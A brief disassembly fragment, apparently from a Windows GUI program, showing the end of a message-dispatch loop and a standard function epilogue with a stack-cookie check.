call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x1400014a4
mov eax, dword [rsp + 0xd0]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.1400028c0
add rsp, 0x108
ret